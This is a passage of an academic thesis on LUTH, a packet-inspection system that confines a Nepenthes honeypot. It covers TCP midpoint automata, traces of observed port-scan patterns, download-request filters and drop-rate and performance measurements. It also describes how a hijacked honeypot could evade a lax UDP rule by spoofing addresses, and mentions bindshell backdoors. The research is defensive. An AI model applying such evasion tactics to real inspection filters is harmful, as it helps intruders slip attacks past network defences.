(δ0(q0,−),q1,netM ∪m3), Empty transition of E0
 3.4
(q0,δ1(q1,m4),(netM\{M→ E1 : m4}∪m5), Same as for E0
 3.5
(q0,δ1(q1,−),netM ∪m6} Idem that for E0
 3.6
Where
m2 =
{ {E0 →M : λ0(q0,m1)} λ0(q0,m1) 6=−,
/0 otherwise
m3 =
{ {E0 →M : λ0(q0,−)} λ0(q0,−) 6=−,
/0 otherwise
m5 =
{ {E1 →M : λ1(q1,m4)} λ1(q1,m4) 6=−,
/0 otherwise
m6 =
{ {E1 →M : λ1(q1,−)} λ1(q1,−) 6=−,
/0 otherwise
This succ function computes all the events (packet losses, one packet taken as input, empty transition)
that could have occurred during one endpoint transition. Then as multiple messages could be in the
network, multiple transitions could occur producing different network and endpoint states. That’s why
instead of succ(QM),
cl(succ(qM)) =
i=∞[
i=0
succi(qM)
is computed which handles packet reordering.
Then, the rest of the work consists in forwarding a message only if its apparition has been predicted
by one of the states in cl(succ(qM). The successor state of the midpoint transition upon a message arrival
is the union of all states that predicted the apparition of this message, with their net appended with the
latter going to the other direction. In other words:
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Last_Ack
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?Lost/!- ?Client_Rst/!- ?Client_Fin_Ack/!-
Close_Wait
?Close/!Server_Fin
?Client_Rst/!-Time_Wait
?Timeout=2MSL/!- ?Client_Rst/!-
Fin_Wait_2
?Client_Rst/!-
?Client_Fin/!Server_Fin_Ack
Closing
?Client_Rst/!-
?Client_Fin_Ack/!-
Fin_Wait_1
?Lost/!- ?Client_Rst/!-
?Client_Fin_Ack/!- ?Client_Fin/!Server_Fin_Ack
Estab
?Client_Rst/!-
?Client_Fin/!Server_Fin_Ack
?Close/!Server_Fin
Syn_Rcvd
?Lost/!- ?Client_Rst/!-
?Close/!Server_Fin
?Client_SynAck_Ack/!-
Listen
?Close/!- ?Client_Non_Syn_Non_Rst/!Server_Rst ?Client_Rst/!-
?Client_Syn/!Server_Syn_Ack
Init
?Client_Non_Syn_Non_Rst/!Server_Rst ?Client_Rst/!- ?Client_Syn/!Server_Rst
?Passive_Open/!-
Figure 3.8: Model of the TCP server.
out((q0,q1,netM),Ei → EM : y) =
{
(M→ E1−i : y) if{Ei →M : y} ∈ netM,
− otherwise
λM(qM,m) =
{
out(q,m) if ∃ q ∈ cl(succ(qM)) | out(q,m) 6=−,
− otherwise
and
δM(qM,m) =
[
(q0,q1,netM)∈cl(succ(qM))
{(q0,q1,(netM\{m})∪λM(qM,m))} | m ∈ netM}
Using this model, computing RFC compliant midpoint TCP-automata is straightforward. We have
chosen not to take the exact Mealy-machine presented in the RFC of TCP (see Figure 3.5) for two
reasons. First this machine does not differentiate client and servers as it models both behaviours. If we
put this machine in input of the midpoint automata computing algorithm, two TCP clients establishing a
session and communicating will be allowed. However, our case study only deals with client and servers,
we have therefore chosen to split the generic automata into two automatas, one representing the client
and the other representing the server. Second, the RST messages, whose use is described by a list of
recommendations, are not modeled by the standard mealy machine (see Figure 3.5) . However, such
messages play a central role in real TCP sessions.
The client and server mealy machines we use are depicted in Figure 3.8 and 3.9. To model the
fact that a closed TCP server sends an RST segment to any non RST or SYN messages, we add the
Client_Non_Syn_Non_Rst segment to factorize all such messages in one. We incorporate into the TCP
MI the resulting midpoint automata with the automatas of these TCP client and servers, but that sends
one retransmission. We only printed the version of automatas without retransmission because the other
figures do not fit in a single page. The algorithm to compute the midpoint automata from the client and
servers with one retransmission needs more than 2 GB of memory. Therefore, we use a Sun X4600 M27
server present in our laboratory, with 208 GB of RAM shared among the eight quad-core processors
to compute the automatas. We then export the computed results to other computers using OCaml’s
Marshal facility provided by the standard library. We stress this automata by inspecting the sessions
7http://www.sun.com/servers/x64/x4600/
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Figure 3.9: Model of the TCP client.
the Nepenthes honeypot establishes. As expected, we observe that quite a lot of TCP sessions towards
honeypot servers, most due to scanning patterns, are dropped by this automata. This motivates the need
to develop the MTCPMI, which has a different automata.
3.2.1.2 MTCP MI Automata
Among the previously dropped scanning segments, we identify five different patterns:
1. a client that sends an ACK, waits for a RST8 and performs a three-way handshake then:
13 : 09 : 41 . 233609 IP c l _ i p .2248 > h_ ip . 4 4 5 : . ack ACKN
13 :09 : 41 . 233658 IP h_ ip . 445 > c l _ i p . 2 2 4 8 : R ACKN:ACKN( 0 )
13 : 09 : 44 . 260410 IP c l _ i p .2248 > h_ ip . 4 4 5 : S SCLN:SCLN( 0 )
13 : 09 : 44 . 260429 IP h_ ip . 445 > c l _ i p . 2 2 4 8 : S SSRN :SSRN( 0 ) ack SCLN+1
13 : 09 : 44 . 371707 IP c l _ i p .2248 > h_ ip . 4 4 5 : . ack SSRN+1
13 : 09 : 44 . 483669 IP c l _ i p .2248 > h_ ip . 4 4 5 : P SCLN+1:SCLN+52(51) ack SSRN+1
13 : 09 : 44 . 483682 IP h_ ip . 445 > c l _ i p . 2 2 4 8 : . ack SCLN+52
13 : 09 : 48 . 270413 IP c l _ i p .2248 > h_ ip . 4 4 5 : F SCLN+52:SCLN+52(0 ) ack SSRN+1
13 : 09 : 48 . 271015 IP h_ ip . 445 > c l _ i p . 2 2 4 8 : F SSRN+1:SSRN+1(0 ) ack SCLN+53
13 : 09 : 48 . 492884 IP c l _ i p .2248 > h_ ip . 4 4 5 : . ack SSRN+2
,
2. client that repetedly sends fin messages:
05 : 16 : 49 . 344739 IP c l _ i p .33643 > h_ ip . 4 4 5 : F FCLN:FCLN( 0 ) ack FACLN
05 : 16 : 49 . 344753 IP h_ ip . 445 > c l _ i p . 3 3 643 : R FACLN:FACLN( 0 )
05 : 16 : 52 . 003775 IP c l _ i p .33643 > h_ ip . 4 4 5 : F FCLN:FCLN( 0 ) ack FACLN
05 : 16 : 52 . 003783 IP h_ ip . 445 > c l _ i p . 3 3 643 : R FACLN:FACLN( 0 )
8Indeed, as a valid session does not start with an ACK, a legitimate server will answer a RST.
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Pattern number Path in the automata
1,2,3 Init_0→ Scan_non_syn_sent_0→ End_0
4 Init_0→ Scan_syn_sent_0→ End_0
5 Init_0→ Syn_Sent_0→ Estab_0→ End_0
Figure 3.10: Mapping between scanning pattern numbers and part of the malicious TCP automata.
05 : 16 : 57 . 889275 IP c l _ i p .33643 > h_ ip . 4 4 5 : F FCLN:FCLN( 0 ) ack FACLN
05 : 16 : 57 . 889284 IP h_ ip . 445 > c l _ i p . 3 3 643 : R FACLN:FACLN( 0 )
3. the same with SYN ACK instead of FINs,
09 : 03 : 37 . 115778 IP c l _ i p . 80 > s r _ i p . 2 2 446 : S SCLN:SCLN( 0 ) ack SACLN
09 : 03 : 37 . 115802 IP s r _ i p .22446 > c l _ i p . 8 0 : R SACLN:SACLN( 0 )
09 : 03 : 40 . 823581 IP c l _ i p . 80 > s r _ i p . 2 2 446 : S SCLN:SCLN( 0 ) ack SACLN
09 : 03 : 40 . 823589 IP s r _ i p .22446 > c l _ i p . 8 0 : R SACLN:SACLN( 0 )
4. a client that performs a two-way handshake, resets the session and performs a three-way handshake
then:
15 : 31 : 18 . 675517 IP c l _ i p .3376 > h_ ip . 4 4 5 : S SCLN:SCLN( 0 )
15 : 31 : 18 . 675570 IP h_ ip . 445 > c l _ i p . 3 3 7 6 : S SSRNPRIME :SSRNPRIME( 0 ) ack SCLN+1
15 : 31 : 18 . 721587 IP c l _ i p .3376 > h_ ip . 4 4 5 : R SCLN+1:SCLN+1(0 )
15 : 31 : 21 . 605267 IP c l _ i p .3376 > h_ ip . 4 4 5 : S SCLN:SCLN( 0 )
15 : 31 : 21 . 605282 IP h_ ip . 445 > c l _ i p . 3 3 7 6 : S SSRN :SSRN( 0 ) ack SCLN+1
15 : 31 : 21 . 714431 IP c l _ i p .3376 > h_ ip . 4 4 5 : . ack SSRN+1
15 : 31 : 21 . 715176 IP c l _ i p .3376 > h_ ip . 4 4 5 : P SCLN+1:SCLN+52(51) ack SSRN+1
15 : 31 : 21 . 715189 IP h_ ip . 445 > c l _ i p . 3 3 7 6 : . ack SCLN+52
15 : 31 : 28 . 698784 IP c l _ i p .3376 > h_ ip . 4 4 5 : F SCLN+52:SCLN+52(0 ) ack SSRN+1
15 : 31 : 28 . 699377 IP h_ ip . 445 > c l _ i p . 3 3 7 6 : F SSRN+1:SSRN+1(0 ) ack SCLN+53
15 : 31 : 28 . 808467 IP c l _ i p .3376 > h_ ip . 4 4 5 : . ack SSRN+2
.
5. Finally, to speed up session ending, some clients reset ESTABLISHED sessions sending an RST
message, instead of using the standard process involving FIN messages like that:
06 : 47 : 59 . 962948 IP c l _ i p .1044 > s r _ i p . 1 3 9 : S SCLN:SCLN( 0 )
06 : 47 : 59 . 962959 IP s r _ i p . 139 > c l _ i p . 1 0 4 4 : S SSRN :SSRN( 0 ) ack SCLN+1
06 : 48 : 00 . 047759 IP c l _ i p .1044 > s r _ i p . 1 3 9 : . ack SSRN+1
06 : 48 : 00 . 054255 IP c l _ i p .1044 > s r _ i p . 1 3 9 : P SCLN+1:SCLN+77(76) ack SSRN+1
06 : 48 : 00 . 054264 IP s r _ i p . 139 > c l _ i p . 1 0 4 4 : . ack SCLN+77
06 : 48 : 00 . 054372 IP s r _ i p . 139 > c l _ i p . 1 0 4 4 : P SSRN+1:SSRN+65(64) ack SCLN+77
06 : 48 : 00 . 120591 IP c l _ i p .1044 > s r _ i p . 1 3 9 : R SCLN+77:SCLN+77(0 )
To allow these vulnerability scanning patterns, we model the non standard malicious client as de-
picted in 3.11. The patterns are represented by the part of the automatas described in the Figure 3.10.
This automata is here again, the version without retransmissions.
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Scan_syn_sent_0
End_0
?Lost/!- ?Server_Rst/!- ?Server_Syn_Ack/!Client_Rst
Scan_non_syn_sent_0
?Lost/!- ?Server_Rst/!-
Last_Ack_0
?Lost/!- ?Server_Rst/!- ?Server_Fin_Ack/!-
Close_Wait_0
?Server_Rst/!-
?Close/!Client_Fin
Time_Wait_0
?Timeout=2MSL/!- ?Server_Rst/!-
Closing_0
?Server_Rst/!-
?Server_Fin_Ack/!-
Fin_Wait_2_0
?Server_Rst/!-
?Server_Fin/!Client_Fin_Ack
Fin_Wait_1_0
?Lost/!- ?Server_Rst/!-
?Server_Fin/!Client_Fin_Ack ?Server_Fin_Ack/!-
Estab_0
?Rst_estab/!Client_Rst ?Server_Rst/!-
?Server_Fin/!Client_Fin_Ack
?Close/!Client_Fin
Syn_Sent_0
?Lost/!- ?Close/!- ?Server_Rst/!-
?Server_Syn_Ack/!Client_SynAck_Ack
Init_0
?Scan_syn/!Client_Syn
?Server_Rst/!-
?Scan_non_syn/!Client_Non_Syn_Non_Rst
?Active_Open/!Client_Syn
Figure 3.11: Model of the malicious TCP client.
The two transitions in Figure 3.11 going from Init_0 use three non network messages: ?Scan_syn,
?Scan_non_syn and ?Active_Open. However the model of the automatas used by Bidder-Senn et. al.
can use a single non network transition per state: the ’−’ transition (Definition 8). For this reason the
algorithm we use to compute the midpoint automata of a malicious TCP client and a standard TCP server
contains the following modifications:
Σnetwork i = Γnetwork 1−i, i ∈ {0,1}
Ai = (Qi,Σnon_network i∪Σnetwork i,Γi,λi,δi,q0,i), i ∈ {0,1}
ΓM = {M→ E0 : a|a ∈ Σnetwork 0}∪{M→ E1 : a|a ∈ Σnetwork 1}∪{−}
succ(qm) =
[
q∈qM
[
(M→E0:m1)∈netM
[
(M→E1:m4)∈netM
[
e0∈Σnon_network0
[
e1∈Σnon_network1
[
msg∈netM
{(q0,q1,netM), Nothing happened yet
 3.7
(q0,q1,netM\{msg}), Message lost
 3.8
(δ0(q0,m1),q1,(netM\{M→ E0 : m1})∪m2), E0 takes one message
 3.9
(δ0(q0,e0),q1,netM ∪m3), Non network trans of E0
 3.10
(q0,δ1(q1,m4),(netM\{M→ E1 : m4}∪m5), Idem that for E0
 3.11
(q0,δ1(q1,e1),netM ∪m6} Idem that for E0
 3.12
Where
m2 =
{ {E0 →M : λ0(q0,m1)} λ0(q0,m1) 6=−,
/0 otherwise
m3 =
{ {E0 →M : λ0(q0,e0)} λ0(q0,e0) 6=−,
/0 otherwise
m5 =
{ {E1 →M : λ1(q1,m4)} λ1(q1,m4) 6=−,
/0 otherwise
m6 =
{ {E1 →M : λ1(q1,e1)} λ1(q1,e1) 6=−,
/0 otherwise
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The automata used by the MTCPMI is the result of the combination of a malicious TCP client with
one retransmission and the TCP server using one retransmission computed in the same Sun X4600 M2
server.
We have in this section depicted how we implement the compromise depicted in the beginning of
Section 3.2 at the TCP level. However, we still need to implement the compromise in the protocols over
transport protocols. We chose to inspect intrusion emulation by means of the Void MI that accepts them
all9. If we use the Void MI to inspect the downloads requests, Luth will let the honeypot perpetrate the
intrusion presented in Section 3.1. Therefore, the following section describes the MI used to drop the
download requests that can contain code injections attacks.
3.2.2 Monitoring Download Requests Using Ftp, Http, Tftp and Link MI-s
Nepenthes downloads malware by using communication protocols where the honeypot is considered as:
• Server, using only TCP transport protocol.
• Client, using UDP for TFTP, and TCP for FTP, CRECEIVE, HTTP and LINK protocols. LINK is
a non standard protocol used by some malware which consists in connecting to a server, sending
four bytes, and then receiving the binary sent by the server. CRECEIVE is a protocol where the
client receives the messages sent from the server without sending anything back. In other words,
such a client downloads applicative data without uploading anything.
We monitor the protocols involving Nepenthes as a server by taking the same risks as when monitor-
ing the vulnerabilities i.e. by the means of the Void MI. To monitor downloads where the honeypot acts
as a client, we develop the following MI-s.
The CReceive MI drops all client messages. The Link MI is used to verify that the client only sends
four bytes to the server. Indeed, in these four bytes, the intruders encodes a token used to authenticate
the malware downloading request. As we do not see a way to perpetrate some kinds of attacks sending
four bytes in a TCP session, we perform little filtering there.
The Tftp MI checks the performing of a T f t p download10, without upload. Here again, only the
RFC compliance of the download is checked. The constraints written on this RFC are restricted enough
so that we don’t see how an attack could occur against the T f t p server during the download of a file.
The Http(check_host=nepenthes) MI, checks that the HTTP header contains the options sent by
Nepenthes. These informations are static and can therefore be easily verified. However, the content
inside the GET request is dependent of the information sent by the intruder. To prevent the presence
of SQL and shellcode injection attacks, the filter we use only accepts 30 bytes between two slashes ′/′.
Then among these 30 bytes, the only bytes accepted are in the character set
a−zA−Z0−9\ .~ _−
, i.e. alphanumeric bytes, plus the ., , _ and − characters. This filter is just the result of a subjective
point of view that states: a working remote code injection attacks would be difficult to develop in such
conditions.
TheMI Ft p( f t pt = active) checks for the RFC compliance of the FTP session done by the Nepenthes
client. Indeed, the honeypot makes an active Ftp. The only liberty given by the Nepenthes download
parameters is the url of the file to download, the one used in the RETR command. We perform in this url
the same filtering as in the strings contained between two ’/’ in the HTTP request.
9The risks related to this decision are depicted in Section 3.3.
10Only RRQ requests are allowed.
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3.3 Experimentation
To evaluate the side effects of LUTH, we can perform either an online or an offline analysis (Section
2.3.2).
The online analysis consists in comparing the results of a non monitored and monitored honeypot.
However to make a pertinent comparison, we need to assume some kind of periodicity on malware be-
haviour. Indeed, the results of both experiments depend of the side effects created by LUTH’s inspection
and of the behaviour of malware clients. These latter are however, up to our knowledge, unpredictable,
and therefore, difficult to isolate from the results of such a comparison.
The offline analysis consists in analyzing a traffic dump representing the network activities of an un-
monitored honeypot as depicted in Figure 3.12. Extrapolating the results obtained by an offline analysis
can be criticized too. Indeed, the dropping of some packets, like for example a scanning pattern, can pre-
vent the apparition of an intrusion attempt. During an online analysis, dropping scanning packet makes
the attacker think the targeted honeypot does not exist. Therefore, instead of launching the intrusion, the
latter will scan the next host. In this case, Luth will make the honeypot miss an opportunity to obtain
a malware. During an offline analysis, Luth says whether it would have accepted or dropped packets
present in the traffic dump. If we apply the previous situation to the offline analysis, Luth can report it
dropped the scanning pattern and accepted all packets related to the intrusion and malware download that
are in this case present in the traffic dump. However, considering that in this situation Luth only dropped
the scanning pattern is false. Indeed, as shown by the online example, the packets related to the intrusion
and download are virtually dropped when dropping the scanning pattern. Therefore, when performing an
offline analysis, the side effects of Luth’s dropping decisions are hard to extrapolate. The offline analysis
permits however to analyze more efficiently LUTH’s configuration and inspections, as the experiment
can be performed as many times as wanted. That’s why we finally chose the offline analysis paradigm.
This offline analysis aims at measuring the number of dropped packets and the related performance
of the inspection performed by the rule depicted in Listing 3.6.
Listing 3.6: Monitoring Nepenthes
INSP ( [Udp ( tm=30s , check_checksum=no ) / [
UPort ( c l _ a d d r = honeypo t_add r e s s , s r _ p o r t =53 ) /Dns | (∗L1 ∗ )
UPort ( c l _ a d d r = honeypo t_add r e s s , s r _ p o r t =69 ) / Tftp ] (∗L2 ∗ )
|MTcp( tm=2min , check_checksum=no ) /
TPort ( c l _ a d d r = no t honeypo t_add r e s s , s r _ a d d r = honeypo t _ add r e s s ) /
Void (∗L3 ∗ )
| Tcp ( tm=2min , check_checksum=no ) /
TPort ( c l _ a d d r = honeypo t_add r e s s , s r _ a d d r = no t hon eypo t _ add r e s s ) / [
CReceive | Link | Http | Ftp ] (∗L4 ∗ )
] ) ; ;
3.3.1 Number and Justification of Dropped Packets
The first analyzed traffic dump represents a single week activity of a Nepenthes instance executed in one
of the servers in our laboratory depicted in Figure 3.12. We have used this dump to make a detailed
analysis of the causes of LUTH’s drop decisions.
We aim with the rule depicted in Listing 3.6, to authorize as much packets while dropping the un-
wanted behaviours we identified. The latter rule is quite simple, it lets all the clients talk to the honeypot
server on all possible TCP ports (L3). Then it monitors the TCP client requests made by the honeypot
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Figure 3.12: Offline analysis of honeypot network communications.
using the authorized malware downloading protocols (L4,L2). Finally it inspects the DNS requests made
by the honeypot (L1).
The offline analysis reports that among the 88116 packets containing 13299789 bytes analyzed, 1913
are dropped (2.17 %). If we put a TCP MI put instead of the MTCP one in L3, 7453 packets are dropped
(8.46 %). We investigate the reasons behind the dropping of the packets belonging to the 2.17 %, by
analyzing first dropped UDP datagrams, and then dropped TCP segments.
3.3.1.1 Dropped UDP datagrams
The dropped UDP sessions are due to intrusion attempts targeting services over UDP emulated by the
honeypot. To demonstrate the following fact, we can see that two types of UDP sessions are dropped by
the rule depicted in Listing 3.6:
• Non DNS, TFTP sessions where the honeypot is behaving as a UDP client (UDP1),
• all the sessions where the honeypot behaves as a UDP server (UDP2).
We add the following rule, that accepts all the sessions of type UDP2, under L4:
| Udp ( tm=2min ) /
UPort ( c l _ a d d r = no t honeypo t \ _ add r e s s , s r _ a d d r =honeypo t \ _ a d d r e s s ) /
Void (∗L5 ∗ )
.
With this new rule Luth does not drop UDP packets anymore. Therefore, the dropped UDP sessions
are only part of the UDP2 group. Moreover, this new rule reduces the number of drop decisions to
1620 (1.83 %). However, we prefer not to use this rule for the following reason. The UDP protocol
does not have a session in it and, among others, permits one endhost to impersonate or spoof other IP
addresses. Let us consider the scenario where one malicious endhost perpetuates a successful real (i.e.
non emulated) intrusion on the vulnerable honeypot software. Let us imagine the latter wants then to
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launch another intrusion from this hijacked honeypot against a new target, nt using the UDP protocol.
Of course, Luth must drop this intrusion attempt. With L5 under L4, LUTH only accepts the following
UDP sessions:
1. from the honeypot to a DNS server, where a quite aggressive DNS inspection is performed, (L1)
2. from the honeypot to eventual TFTP servers, where a quite aggressive TFTP inspection is per-
formed, (L2)
3. from another endhost to the honeypot. (L5)
From now on, we use the notation cl→UDP sr to illustrate a UDP datagram sent from cl to the server sr.
By using a partner in the Internet, this attacker could spoof the address of the new target nt, to send
a UDP datagram towards the corrupted honeypot, hp, i.e nt→UDP hp. LUTH’s inspection would accept
it and create a pseudo-state saying there is a communication between the client with the address of the
spoofed target nt, and the hijacked honeypot server, with the address hp. The intruder on the honeypot
could then launch the wanted attack on the targeted server, hp →UDP nt, without being dropped by
LUTH’s inspection. Indeed because of the L5 rule, Luth will consider this intrusion attempt, hp→UDP nt
as an answer to the previous spoofed request, nt →UDP hp, even if in reality, hp→UDP nt is a client
datagram of the real intrusion attempt.
Due to its session establishment protocol, this scenario is up to our knowledge difficult to perform
in TCP, that’s why we authorized the equivalent rule in TCP (L3), even if the correct solution consists in
both cases, developing the vulnerability monitoring MI-s11.
The solution to this problem is to develop the vulnerabilities emulation MI associated to services
using the UDP transport protocol. This is left for future work. We need now to investigate the 1620
remaining dropped TCP segments.
3.3.1.2 Dropped TCP segments
To investigate the reasons behind TCP segment drops, we extract the sessions containing dropped packets
by means of the tcpdump utility. We then group such dumps by their size, assuming that if they have
the same size, the patterns of the traces are similar and therefore the causes of drop decisions too12. The
results obtained by the grouping of TCP sessions are depicted in Figure 3.13.
11Moreover, the L3 rule can be criticized too. We introduce the notation cl→TCP sr to say there is a TCP session between the
client cl and the server sr. After performing a successful and non emulated intrusion on the honeypot software, an attacker could
use a communication channel like attacker→TCP hp to take the control of the honeypot server, whether by using a backdoor,
a “bindshell shellcode”, or whatever name has been given to such a tool. Indeed L3 authorizes attacker→TCP hp communi-
cations. However, the need for such a rule is motivated by the emulation of the same exact scenario by the honeypot, where
the latter deliberately emulates the establishment of the previously mentioned communication channels. Let us say the attacker
does not send a request to download a malware, i.e < DownloadMalwareInInternet in attacker→TCP channel, but a request
to download a file present in the file system of the honeypot < DownloadFilePresentInHoneypot >. Both of the requests are
accepted by the L3 rule. In the emulated case, the backdoor emulated by the honeypot is deliberately limited to the downloads
of malware. Therefore, when receiving the < DownloadMalwareInInternet > request the honeypot downloads the malware.
But, when receiving <DownloadFilePresentInHoneypot > the honeypot does not execute it and therefore, the file in the hon-
eypot is not sent. However, in the real attack scenario, both requests are fulfilled by the real backdoor. Taking into account that
this section does consider the real attack scenario as possible, Luth should drop the DownloadFilePresentInHoneypot requests
while accepting < DownloadMalwareInInternet >. Even if not implemented yet, the developing of different vulnerability
emulator’s MI provides a solution to this problem.
12This approximation deserves its noun, indeed it is likely that two session dumps having the same size present different
behaviours. However we consider that the benefits of an exact analysis of all the causes of the drop decisions, which requires
quite a considerable effort, will permit to gain a negligible percentage on accepted packets.
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Figure 3.13: Characterization of TCP sessions containing dropped packets. Both graphics are related by
the index represented in each abscissa. For example as shown by the plots having the 0 abscissa, there
are 180 sessions grouped into a dump of about 700B.
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The packets dropped in the four TCP sessions carrying more than 4000 bytes are the following (we
consider them in decreasing order):
1. The sending of 60 RST after having closed an established a session targeting the emulation of
Microsoft’s SMB related vulnerabilities,
2. The sending of a RST segment after the honeypot sends a FIN to end an established session tar-
geting the same emulator (twice),
3. The sending of 5 FINs from the malware, and successive FIN_ACK, that are then reset by the
honeypot.
The other packets are dropped for similar reasons we group this way:
1. The sending of more than 1 retransmitted message inspected for session establishments
(SYN,SYN_ACK, etc). Indeed, the computing of the actual midpoint automata with 1 retrans-
mission takes a week in the server we have used. We have not even tried to launch the computing
with 2 retransmissions, which is left for future work.
2. The sending of a RST by the malicious client after receiving a FIN from the server. Indeed as
depicted in the Figure 3.11, the model of the malicious client does not take this behaviour into ac-
count. We have not be willing to model it in a new version of the automata because this discussable
trend represents very isolated cases (5 packets among 88116).
3. The fine tuning of state related timeouts in TCP sessions. As depicted in [214], the timeouts
represent a central role in the behaviour of TCP related sessions’ inspection. Up to our knowledge,
there is however no justified solution for managing the timeouts related to midpoint inspections.
Nowadays, each inspection devices develop their own ad-hoc solutions. We have in our case,
distinguished the timeout related to the messages to come in established session, from the messages
managing sessions about to establish, or to close. Using this solution, the dropped packets are due
to the fact that some sessions considered as ended from endpoints, are not from the midpoint point
of views, and therefore a packet from a new session is considered as related to previous sessions,
and vice-versa. We have not proposed solutions to this quite undeterministic problem.
To sum up the TCP case, all the drops are due to the monitoring of TCP session establishment messages,
and do not involve the monitoring of downloads.
The other dump analyzed represents the same honeypot software activity during 5 weeks on another
server in our laboratory. With the same rule, the inspection of 564209 packets reports the dropping of
15659 packets (2.78 %). The following section benchmarks the inspection performed when analyzing
this dump.
3.3.2 Benchmarking the Inspection
To have an estimation of the side effects related to Luth performances, we compare the time to perform
the computations by a process in userspace with the inter-arrival time of the packets, computed using the
time-stamps present in the traffic dump. Indeed, if one Luth inspection does not finish before the next
packet arrives, the packet will be buffered in a queue. The size of such a queue is limited. Therefore, if
Luth is too slow some packets can be dropped without being inspected.
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Figure 3.14: Packets inter-arrival times. A point (n,y) in the plot means that the n+1-th packet in the
dump arrived y seconds after the n-th.
As depicted in the Figure 3.14, the inter-arrival time of packets going through the honeypot is not
very demanding. Quite a lot of point in the plots show that after receiving or sending a packet, 500
seconds elapses before a new packet arrives or is sent. Indeed, the overall time needed to make the
computations asked by Luth’s inspection requires less time than packets to arrive. As depicted in Figure
3.15 in this global view, we don’t see any point where Luth does not finish processing a packet before
another one arrives. We identify as:
• T (pkt(i)) the time-stamp of the ith packet in the dump,
• D(Luth(pkt(i))) the duration of the inspection performed by Luth on the ith packet.
To have a better understanding on what happens when the packet inter-arrival time is faster, like for exam-
ple in malware downloads, we zoom the previous figure to the cases where |[T (pkt(i+1))−T (pkt(i))]−
D(Luth(pkt(i)))|< 5∗10−3 as depicted in Figure 3.16.
We see that in some cases Luth is slower than the packet inter-arrival time, which will induce a
bufferization of packets, and even packet drops if one of the involved buffer is full. To estimate the
required buffer size needed so that packets are not dropped because of the buffer size limitations, we
conduct the following experiment.
We estimate the evolution of the size of the buffer by emulating packets insertion and removal during
the different inspections. We assume that all the processed packets are inserted in the buffer, considering
for example that the buffer is oversized. We consider a packet is removed from the buffer once Luth
finishes inspecting it. Let us say the buffer is empty and that a packet arrives at T (pkt(i)). Luth will
finish processing the packet at D(Luth(pkt(i))+T (pkt(i)). The time at which Luth finishes processing
pkt(i+ 1), Tout(pkt(i+ 1)), depends of the relation between Tout(pkt(i)) and T (pkt(i+ 1)). If pkt(i)
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Figure 3.15: Estimation of the possible slow-down induced by using Luth. A point (n,y), with y<0 means
that the n+1 packet comes faster than Luth processes the n-th packet.
0 0"5 1 1"5 2 2"5 3 3"5
x 105
!5
!4
!3
!2
!1
0
1
2
3
4
5 x 10
!3
Ti
m
e(
s)
i!th p45ket
[T(pkt(i+1)) ! T(pkt(i))] ! D(Luth(pkt(i))))
Figure 3.16: Zoom of the estimation of the possible slow-down induced by using Luth. A point (n,y),
with y<0 means that the n+1 packet comes faster than Luth processes the n-th packet.
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has already been processed at T (pkt(i+ 1)), i.e Tout(pkt(i)) < T (pkt(i+ 1)), then Luth will start pro-
cessing pkt(i+ 1) as soon as it arrives. Therefore Tout(pkt(i+ 1)) = D(Luth(pkt(i+ 1)))+T (pkt(i+
1)). However, if Luth is still inspecting pkt(i) at T (pkt(i+ 1)), i.e Tout(pkt(i)) > T (pkt(i+ 1)),
then Luth will start inspecting pkt(i+ 1) once the inspection of pkt(i) is finished. In this case,
Tout(pkt(i+1)) =D(Luth(pkt(i+1)))+Tout(pkt(i)). We group both formulas into Tout(pkt(i+1)) =
max(Tout(pkt(i)),T (pkt(i+ 1))) +D(Luth(pkt(i+ 1))). Finally, the number of packets present in a
buffer at time T (pkt(i)) can be measured by counting the number of packets that will be removed after
T (pkt(i)), i.e |{pkt( j),Tout(pkt( j))> T (pkt(i)), j ≤ i}|.
By using the previous formulas, the emulation of the insertion and removing in the buffer permits us
to measure the number of packets in the buffer when processing T (pkt(i)) as depicted in Figure 3.17.
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Figure 3.17: Evolution of the queue size before starting to inspecting a new packet. A point (x,y) should
be read as: just before inspecting the x-th packet, there are y packets in the queue.
In the emulation of the experiment, we see that at most 60 packets are present in the buffer. Therefore
by using one the function the available in the libnetfilter_queue_library to configure a buffer size of more
than 60 packets during an online analysis presenting similar packets to analyze, packets may not be
dropped because of the limitations of the queue size.
3.4 Conclusion
In this chapter, we have presented the problems that can be rose by an unmonitored malware download-
ing honeypot. Indeed, among others, the latter can be used as an intrusion proxy-server. We have then
presented the MI we developed to monitor its network behaviours, while still letting it emulate vulnera-
bilities. The offline analysis shows that LUTH drops less than 3% of the packets related to the malware
activity that reached our honeypots during 6 weeks.
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To reduce the number of dropped packets, computing the TCP and MTCP midpoint automatas with
more than one retransmissions can be explored (Section 3.2.1) . Regarding the dropped packets due to
the tuning of timeouts, we are less optimistic (Section 3.3.1.2). Indeed, we do think that the solutions
adapted to one context, will poorly behave on others.
We present in the last chapter, a method to analyze the malware collected thanks to such honeypots.
92
4
Dynamic Analysis of Malware’s Network
Communications
Figure 4.1: Extract of the webcomic xkcd, http://xkcd.com/350
This last chapter deals with the dynamic analysis of malware’s network communication. First, the
generic principles of this analysis are depicted, among others by describing the new MI-s we developed.
Then, we describe the results we obtain by analyzing 31 different malware gathered using malware
downloading honeypots.
4.1 Principles of the Dynamic Analysis
The need for monitoring dynamically analyzed malware’s network communication towards the Internet
has been explained in Section 1.2.3.2. Once the malware is executed in the sandbox and starts talking
to a server in the Internet, we differentiate different ways of monitoring it. A first solution consists in
letting the malware talk to the Internet and drop packets considered as unsafe. This solution presents
two drawbacks. First, the intrusion attempts from the malware cannot be obtained from the experiment1.
Second, as depicted in Section 2.1.1.2, the information analyzed by an MI is not always carried in a
single message. When the information is fragmented, the sequence of already observed packets does not
always give sufficient information to take a decision. Therefore, in these situations accepting a packet
involves undeterministic consequences. As a solution to this problem, Vutukuru et al. propose in [234] to
create a new decision, “wait”, that buffers the packet until the necessary ones come. For very pragmatic
reasons i.e.:
1If they are not dropped, the experiment will be considered as illegal.
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• the libnet f ilter_queue library (Section 2.3.2) does not give the opportunity to take such a decision,
and,
• this library is the only available one to develop online userspace packet inspection,
we did not explore this solution. Instead, we perform such monitoring and analysis using an hybrid and
recursive approach. As depicted in Figure 4.2, we split the network communications of a malware into
three different groups, targeting:
1. Unkown services, labeled “To identify”.
2. Services we emulate for safety reasons. These communications, like for example intrusion at-
tempts, are labeled “To redirect in Lab”.
3. Real services, labeled “To send in the Internet”.
The recursive approach aims at making the set of communications labeled “To identify” empty. To do
so, during an iteration of the experiment, a communication to identify is removed from the “To identify”
and appended to the “To send in the Internet”, or “To redirect in Lab” sets. This is achieved by redirecting,
in a first step, unknown services towards a honeypot in our lab. These redirected communications are
then analyzed by Luth. Once the identification is performed, the latter service is removed from “To
identify” group and put in the set of communications “To send in the Internet”, or in the set of the ones
